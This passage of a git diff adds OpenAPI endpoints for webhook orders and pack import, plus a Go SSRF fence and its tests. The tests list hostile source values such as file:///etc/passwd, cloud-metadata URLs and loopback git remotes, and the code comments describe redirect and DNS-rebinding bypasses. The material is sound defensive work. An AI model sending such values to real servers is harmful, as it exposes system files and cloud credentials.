             "$ref": "#/components/schemas/WorkerOperationEventPayload"
           }
@@ -5019,6 +5025,40 @@
         ],
         "type": "object"
       },
+      "OrderRunInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "vars": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Declared [order.params] as key/value dispatch args (parity with 'gc order run --var'). Namespaced into the exec env under GC_WEBHOOK_ARG_ before overlay (R4).",
+            "type": "object"
+          }
+        },
+        "type": "object"
+      },
+      "OrderRunOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "status": {
+            "description": "\"dispatched\" when the order fired.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "status"
+        ],
+        "type": "object"
+      },
       "OrdersFeedBody": {
         "additionalProperties": false,
         "properties": {
@@ -5137,6 +5177,61 @@
         ],
         "type": "object"
       },
+      "PackAddInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
+            "description": "Optional local binding name override; derived from the source when omitted.",
+            "type": "string"
+          },
+          "source": {
+            "description": "Pack source: a remote git URL or registry ref (a sub-path of a repo is allowed).",
+            "examples": [
+              "https://github.com/org/repo/tree/main/packs/review"
+            ],
+            "minLength": 1,
+            "type": "string"
+          },
+          "version": {
+            "description": "Optional semver constraint for a git-backed pack.",
+            "examples": [
+              "^1.2.0"
+            ],
+            "type": "string"
+          }
+        },
+        "required": [
+          "source"
+        ],
+        "type": "object"
+      },
+      "PackAddedOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "git_backed": {
+            "description": "Whether the resolved source is git-backed (has a lock entry).",
+            "type": "boolean"
+          },
+          "name": {
+            "description": "The local binding name written to [imports.\u003cname\u003e].",
+            "type": "string"
+          },
+          "source": {
+            "description": "The canonical source string written to the manifest.",
+            "type": "string"
+          },
+          "version": {
+            "description": "The version constraint written, if any.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "name",
+          "source",
+          "git_backed"
+        ],
+        "type": "object"
+      },
       "PackListBody": {
         "additionalProperties": false,
         "properties": {
@@ -5156,19 +5251,29 @@
         ],
         "type": "object"
       },
-      "PackResponse": {
+      "PackRemovedOutputBody": {
         "additionalProperties": false,
         "properties": {
           "name": {
+            "description": "The binding name removed.",
             "type": "string"
-          },
-          "path": {
+          }
+        },
+        "required": [
+          "name"
+        ],
+        "type": "object"
+      },
+      "PackResponse": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
             "type": "string"
           },
-          "ref": {
+          "source": {
             "type": "string"
           },
-          "source": {
+          "version": {
             "type": "string"
           }
         },
@@ -5469,6 +5574,13 @@
             "minLength": 1,
             "type": "string"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -5992,6 +6104,13 @@
             "description": "Environment variables.",
             "type": "object"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -8488,6 +8607,8 @@
             "supervisor.request": "#/components/schemas/TypedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -8730,6 +8851,12 @@
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
@@ -9705,6 +9832,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -12900,6 +13029,108 @@
         "title": "TypedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
+      "TypedEventStreamEnvelopeWebhookReceived": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.received",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.received",
+        "type": "object"
+      },
+      "TypedEventStreamEnvelopeWebhookRejected": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.rejected",
+        "type": "object"
+      },
       "TypedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
@@ -13034,6 +13265,8 @@
             "supervisor.request": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -13276,6 +13509,12 @@
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
@@ -14322,6 +14561,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -17766,7 +18007,7 @@
         "title": "TypedTaggedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
-      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
+      "TypedTaggedEventStreamEnvelopeWebhookReceived": {
         "additionalProperties": false,
         "properties": {
           "actor": {
@@ -17779,7 +18020,7 @@
             "type": "string"
           },
           "payload": {
-            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
           },
           "run_id": {
             "type": "string"
@@ -17803,7 +18044,7 @@
             "type": "string"
           },
           "type": {
-            "const": "worker.operation",
+            "const": "webhook.received",
             "type": "string"
           },
           "workflow": {
@@ -17818,35 +18059,253 @@
           "payload",
           "city"
         ],
-        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "title": "TypedTaggedEventStreamEnvelope webhook.received",
         "type": "object"
       },
-      "UnboundEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWebhookRejected": {
         "additionalProperties": false,
         "properties": {
-          "count": {
+          "actor": {
+            "type": "string"
+          },
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
             "format": "int64",
+            "minimum": 0,
             "type": "integer"
           },
           "session_id": {
             "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
           }
         },
         "required": [
-          "session_id",
-          "count"
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
         ],
+        "title": "TypedTaggedEventStreamEnvelope webhook.rejected",
         "type": "object"
       },
-      "WorkerOperationEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
-          "agent_name": {
-            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+          "actor": {
             "type": "string"
           },
-          "bead_id": {
-            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "worker.operation",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
+        ],
+        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "type": "object"
+      },
+      "UnboundEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "count": {
+            "format": "int64",
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "session_id",
+          "count"
+        ],
+        "type": "object"
+      },
+      "WebhookReceivedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes (never the body itself).",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id used for dedup (or a body hash when the scheme carries none).",
+            "type": "string"
+          },
+          "deduped": {
+            "description": "True when this delivery was a duplicate and was NOT dispatched.",
+            "type": "boolean"
+          },
+          "dispatched": {
+            "description": "True when an order was launched for this delivery.",
+            "type": "boolean"
+          },
+          "event_type": {
+            "description": "Provider event type surfaced by the scheme (e.g. pull_request).",
+            "type": "string"
+          },
+          "matched": {
+            "description": "True when a [[webhook.rule]] matched the delivery.",
+            "type": "boolean"
+          },
+          "order": {
+            "description": "Target order name when a rule matched.",
+            "type": "string"
+          },
+          "rig": {
+            "description": "Target rig when the matched rule scoped one.",
+            "type": "string"
+          },
+          "rule_index": {
+            "description": "Matched rule index, or -1 when no rule matched.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "scheme": {
+            "description": "Verifier scheme (github-hmac-sha256, slack-v0, …).",
+            "type": "string"
+          },
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch, when fired.",
+            "type": "string"
+          },
+          "webhook": {
+            "description": "Configured webhook name that received the delivery.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "deduped",
+          "matched",
+          "dispatched",
+          "rule_index",
+          "body_size"
+        ],
+        "type": "object"
+      },
+      "WebhookRejectedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes, when the body was read.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id, when known.",
+            "type": "string"
+          },
+          "event_type": {
+            "description": "Provider event type, when known at the rejection point.",
+            "type": "string"
+          },
+          "reason": {
+            "description": "Rejection reason enum (perimeter_denied, read_only, rate_limited, operator_fault, verify_failed, bad_payload, dispatch_refused, …).",
+            "type": "string"
+          },
+          "scheme": {
+            "description": "Verifier scheme, when the webhook resolved.",
+            "type": "string"
+          },
+          "status": {
+            "description": "HTTP status returned to the sender.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "webhook": {
+            "description": "Configured webhook name (empty only for unresolved routes, which are not evented).",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "reason"
+        ],
+        "type": "object"
+      },
+      "WorkerOperationEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "agent_name": {
+            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+            "type": "string"
+          },
+          "bead_id": {
+            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
             "type": "string"
           },
           "cache_creation_tokens": {
@@ -25626,6 +26085,89 @@
         "summary": "Post v0 city by city name order by name enable"
       }
     },
+    "/v0/city/{cityName}/order/{name}/run": {
+      "post": {
+        "operationId": "post-v0-city-by-city-name-order-by-name-run",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/OrderRunInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "202": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/OrderRunOutputBody"
+                }
+              }
+            },
+            "description": "Accepted",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Post v0 city by city name order by name run"
+      }
+    },
     "/v0/city/{cityName}/orders": {
       "get": {
         "operationId": "get-v0-city-by-city-name-orders",
@@ -25967,6 +26509,151 @@
           }
         },
         "summary": "Get v0 city by city name packs"
+      },
+      "post": {
+        "description": "Imports a pack into the city by source (a remote git URL or registry ref), resolving + installing it so its templates compose into the city.",
+        "operationId": "add-pack",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/PackAddInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "201": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackAddedOutputBody"
+                }
+              }
+            },
+            "description": "Created",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Add a pack"
+      }
+    },
+    "/v0/city/{cityName}/packs/{name}": {
+      "delete": {
+        "operationId": "delete-v0-city-by-city-name-packs-by-name",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackRemovedOutputBody"
+                }
+              }
+            },
+            "description": "OK",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Delete v0 city by city name packs by name"
       }
     },
     "/v0/city/{cityName}/patches/agent/{base}": {
diff --git a/internal/api/pack_source_policy.go b/internal/api/pack_source_policy.go
new file mode 100644
index 0000000000..09da1320ca
--- /dev/null
+++ b/internal/api/pack_source_policy.go
@@ -0,0 +1,237 @@
+package api
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"net/url"
+	"strconv"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/importsvc"
+)
+
+// packSourceHostResolver resolves a hostname to its IP addresses for the SSRF
+// fence. It is a package var so tests can stub DNS without touching the network;
+// the default uses the process resolver.
+var packSourceHostResolver = func(host string) ([]net.IP, error) {
+	addrs, err := net.DefaultResolver.LookupIPAddr(context.Background(), host)
+	if err != nil {
+		return nil, err
+	}
+	ips := make([]net.IP, len(addrs))
+	for i, a := range addrs {
+		ips[i] = a.IP
+	}
+	return ips, nil
+}
+
+// validateHTTPPackSource is the HTTP-layer SSRF fence for POST /packs. The
+// import service shells `git ls-remote <source>` synchronously and documents
+// that HTTP callers must validate the source first (importsvc/source.go's
+// defaultHeadCommit). A network caller must not be able to (a) point the server
+// at arbitrary local filesystem paths or file:// repos, or (b) drive git
+// fetches at loopback, private, link-local, or cloud-metadata destinations. The
+// CLI is a trusted local caller and keeps its local-path support; this fence is
+// only applied on the HTTP path.
+//
+// Host validation alone is NOT sufficient: a fenced public host can redirect
+// the git fetch to an internal target, and git re-resolves the host at fetch
+// time (DNS rebinding). The redirect and transport-abuse classes are closed at
+// the git subprocess by git.UntrustedRemoteGitConfigArgs (redirects disabled,
+// transports constrained) on both the HEAD probe and the packman clone/tags
+// fetch. The DNS-rebinding TOCTOU window remains an accepted residual — git
+// re-resolves at fetch time and pinning the resolved IP is out of scope — so
+// this fence is one layer of defense in depth, not the sole control.
+//
+// Blocked sources return an ErrInvalidSource so packImportHTTPError maps them to
+// 400, and importantly they never reach the packAddImport seam.
+func validateHTTPPackSource(source string) error {
+	host, local, file := packSourceHost(source)
+	switch {
+	case file:
+		return fmt.Errorf("%w: file:// sources are not permitted over the API", importsvc.ErrInvalidSource)
+	case local:
+		return fmt.Errorf("%w: local filesystem sources are not permitted over the API; use a remote git URL", importsvc.ErrInvalidSource)
+	case host == "":
+		return fmt.Errorf("%w: could not determine a host from the pack source", importsvc.ErrInvalidSource)
+	}
+	return ensurePublicPackSourceHost(host)
+}
+
+// packSourceHost classifies an import source and extracts its network host.
+// It reports local=true for local filesystem paths and file=true for file://
+// sources; for remote git sources it returns the host and local=file=false.
+// The remote-source detection mirrors importsvc.isRemoteImportSource.
+func packSourceHost(source string) (host string, local, file bool) {
+	switch {
+	case strings.HasPrefix(source, "file://"):
+		return "", false, true
+	case strings.HasPrefix(source, "git@"):
+		// scp-like syntax: user@host:path — the host ends at the first ':' or '/'.
+		rest := strings.TrimPrefix(source, "git@")
+		if strings.HasPrefix(rest, "[") {
+			// Bracketed IPv6 literal host, e.g. git@[::1]:repo. Take the address
+			// between the brackets; scanning for ':' would otherwise cut at the
+			// first ':' inside the literal and yield the bogus host "[".
+			if end := strings.IndexByte(rest, ']'); end > 1 {
+				return rest[1:end], false, false
+			}
+			return "", false, false
+		}
+		if i := strings.IndexAny(rest, ":/"); i >= 0 {
+			return rest[:i], false, false
+		}
+		return rest, false, false
+	case strings.HasPrefix(source, "ssh://"),
+		strings.HasPrefix(source, "https://"),
+		strings.HasPrefix(source, "http://"):
+		if u, err := url.Parse(source); err == nil {
+			return u.Hostname(), false, false
+		}
+		return "", false, false
+	case strings.HasPrefix(source, "github.com/"):
+		return "github.com", false, false
+	default:
+		// Everything else is a local path (//, ~, absolute, or relative), the
+		// same set importsvc resolves against the city directory.
+		return "", true, false
+	}
+}
+
+// ensurePublicPackSourceHost rejects a host that names or resolves to an
+// internal destination (loopback, private, link-local, unique-local,
+// unspecified, or a cloud metadata IP such as 169.254.169.254). Hostnames are
+// resolved through packSourceHostResolver; a resolution error is not treated as
+// a block, since the subsequent git fetch performs its own resolution and will
+// surface the failure — the fence only blocks on a positively-internal address.
+func ensurePublicPackSourceHost(host string) error {
+	lower := strings.ToLower(strings.TrimSpace(host))
+	if lower == "" {
+		return fmt.Errorf("%w: could not determine a host from the pack source", importsvc.ErrInvalidSource)
+	}
+	if lower == "localhost" || strings.HasSuffix(lower, ".localhost") {
+		return blockedPackHostErr(host, "loopback host")
+	}
+	if ip := net.ParseIP(host); ip != nil {
+		if isInternalIP(ip) {
+			return blockedPackHostErr(host, "internal IP address")
+		}
+		return nil
+	}
+	if ip := parseLooseIPv4(host); ip != nil {
+		// Encoded numeric literal (hex, octal, or dotless integer) that net.ParseIP
+		// rejects but git's C resolver (getaddrinfo) still decodes to a real
+		// address — 0x7f000001, 2130706433, and 0177.0.0.1 all reach 127.0.0.1, and
+		// 0xA9FEA9FE reaches the 169.254.169.254 metadata endpoint. Classify the
+		// decoded destination so these forms cannot slip an internal target past
+		// the fence on a resolver that errors for them.
+		if isInternalIP(ip) {
+			return blockedPackHostErr(host, "internal IP address")
+		}
+		return nil
+	}
+	ips, err := packSourceHostResolver(host)
+	if err != nil {
+		return nil
+	}
+	for _, ip := range ips {
+		if isInternalIP(ip) {
+			return blockedPackHostErr(host, "host resolves to an internal IP address")
+		}
+	}
+	return nil
+}
+
+// isInternalIP reports whether ip is one an internet-facing pack source must
+// never be. IsPrivate covers RFC1918 and IPv6 unique-local (fc00::/7);
+// link-local covers 169.254.0.0/16 (including the 169.254.169.254 metadata
+// endpoint) and fe80::/10.
+func isInternalIP(ip net.IP) bool {
+	return ip.IsLoopback() ||
+		ip.IsPrivate() ||
+		ip.IsLinkLocalUnicast() ||
+		ip.IsLinkLocalMulticast() ||
+		ip.IsInterfaceLocalMulticast() ||
+		ip.IsUnspecified()
+}
+
+// parseLooseIPv4 decodes the legacy inet_aton host forms that net.ParseIP
+// rejects but the C resolver (getaddrinfo, which git and libcurl use) still
+// accepts: a dotless 32-bit integer, hex (0x…) or octal (leading 0) parts, and
+// the short a.b / a.b.c groupings. It returns the decoded IPv4 address, or nil
+// when host is not one of those numeric forms (a normal hostname, or a form
+// net.ParseIP already handled). Classifying the decoded address lets the SSRF
+// fence see the destination git will actually connect to rather than trusting
+// net.ParseIP to recognize every literal the resolver decodes.
+func parseLooseIPv4(host string) net.IP {
+	if host == "" {
+		return nil
+	}
+	parts := strings.Split(host, ".")
+	if len(parts) > 4 {
+		return nil
+	}
+	vals := make([]uint64, len(parts))
+	for i, p := range parts {
+		v, ok := parseInetAtonPart(p)
+		if !ok {
+			return nil
+		}
+		vals[i] = v
+	}
+	// inet_aton spreads the trailing part across the low-order bytes: a.b puts b
+	// in the low 24 bits, a.b.c puts c in the low 16, a.b.c.d is one byte each.
+	var addr uint64
+	switch len(parts) {
+	case 1:
+		addr = vals[0]
+	case 2:
+		if vals[0] > 0xFF || vals[1] > 0xFFFFFF {
+			return nil
+		}
+		addr = vals[0]<<24 | vals[1]
+	case 3:
+		if vals[0] > 0xFF || vals[1] > 0xFF || vals[2] > 0xFFFF {
+			return nil
+		}
+		addr = vals[0]<<24 | vals[1]<<16 | vals[2]
+	case 4:
+		for _, v := range vals {
+			if v > 0xFF {
+				return nil
+			}
+		}
+		addr = vals[0]<<24 | vals[1]<<16 | vals[2]<<8 | vals[3]
+	}
+	if addr > 0xFFFFFFFF {
+		return nil
+	}
+	return net.IPv4(byte(addr>>24), byte(addr>>16), byte(addr>>8), byte(addr))
+}
+
+// parseInetAtonPart parses one component of a loose IPv4 literal with C
+// inet_aton radix rules: a 0x/0X prefix is hex, a leading 0 is octal, everything
+// else is decimal. It rejects an empty or malformed component.
+func parseInetAtonPart(p string) (uint64, bool) {
+	base := 10
+	digits := p
+	switch {
+	case len(p) >= 2 && (p[0:2] == "0x" || p[0:2] == "0X"):
+		base, digits = 16, p[2:]
+	case len(p) >= 2 && p[0] == '0':
+		base, digits = 8, p[1:]
+	}
+	if digits == "" {
+		return 0, false
+	}
+	v, err := strconv.ParseUint(digits, base, 64)
+	if err != nil {
+		return 0, false
+	}
+	return v, true
+}
+
+func blockedPackHostErr(host, why string) error {
+	return fmt.Errorf("%w: pack source host %q is blocked (%s)", importsvc.ErrInvalidSource, host, why)
+}
diff --git a/internal/api/pack_source_policy_test.go b/internal/api/pack_source_policy_test.go
new file mode 100644
index 0000000000..f8431a95a5
--- /dev/null
+++ b/internal/api/pack_source_policy_test.go
@@ -0,0 +1,238 @@
+package api
+
+import (
+	"errors"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/importsvc"
+)
+
+func TestValidateHTTPPackSource_AllowsPublicRemotes(t *testing.T) {
+	// A public host must resolve to a public address; stub DNS so the unit test
+	// never touches the network.
+	restore := stubPackSourceResolver(t, map[string][]net.IP{
+		"github.com":     {net.ParseIP("140.82.112.3")},
+		"gitlab.example": {net.ParseIP("203.0.113.10")},
+	})
+	defer restore()
+
+	for _, src := range []string{
+		"https://github.com/org/repo/tree/main/packs/review",
+		"http://github.com/org/repo",
+		"ssh://git@gitlab.example/org/repo.git",
+		"git@github.com:org/repo.git",
+		"github.com/org/repo",
+	} {
+		if err := validateHTTPPackSource(src); err != nil {
+			t.Errorf("validateHTTPPackSource(%q) = %v, want nil", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsLocalAndFileSources(t *testing.T) {
+	for _, src := range []string{
+		"file:///etc/passwd",
+		"//packs/local",
+		"~/secret",
+		"/abs/path",
+		"relative/path",
+		"../packs/local",
+	} {
+		err := validateHTTPPackSource(src)
+		if err == nil {
+			t.Errorf("validateHTTPPackSource(%q) = nil, want rejection", src)
+			continue
+		}
+		if !errors.Is(err, importsvc.ErrInvalidSource) {
+			t.Errorf("validateHTTPPackSource(%q) error = %v, want ErrInvalidSource", src, err)
+		}
+	}
+}
+
+func TestValidateHTTPPackSource_RejectsInternalIPLiterals(t *testing.T) {
+	for _, src := range []string{
+		"https://127.0.0.1/repo.git",         // loopback
+		"http://10.0.0.5/repo.git",           // RFC1918
+		"http://192.168.1.9/repo.git",        // RFC1918
+		"http://172.16.4.4/repo.git",         // RFC1918
+		"http://169.254.169.254/latest/meta", // link-local / cloud metadata
+		"ssh://git@[::1]/repo.git",           // IPv6 loopback
+		"http://[fd00::1]/repo.git",          // IPv6 unique-local
+		"git@10.0.0.5:repo.git",              // scp-like, private
+		"http://0.0.0.0/repo.git",            // unspecified
+	} {
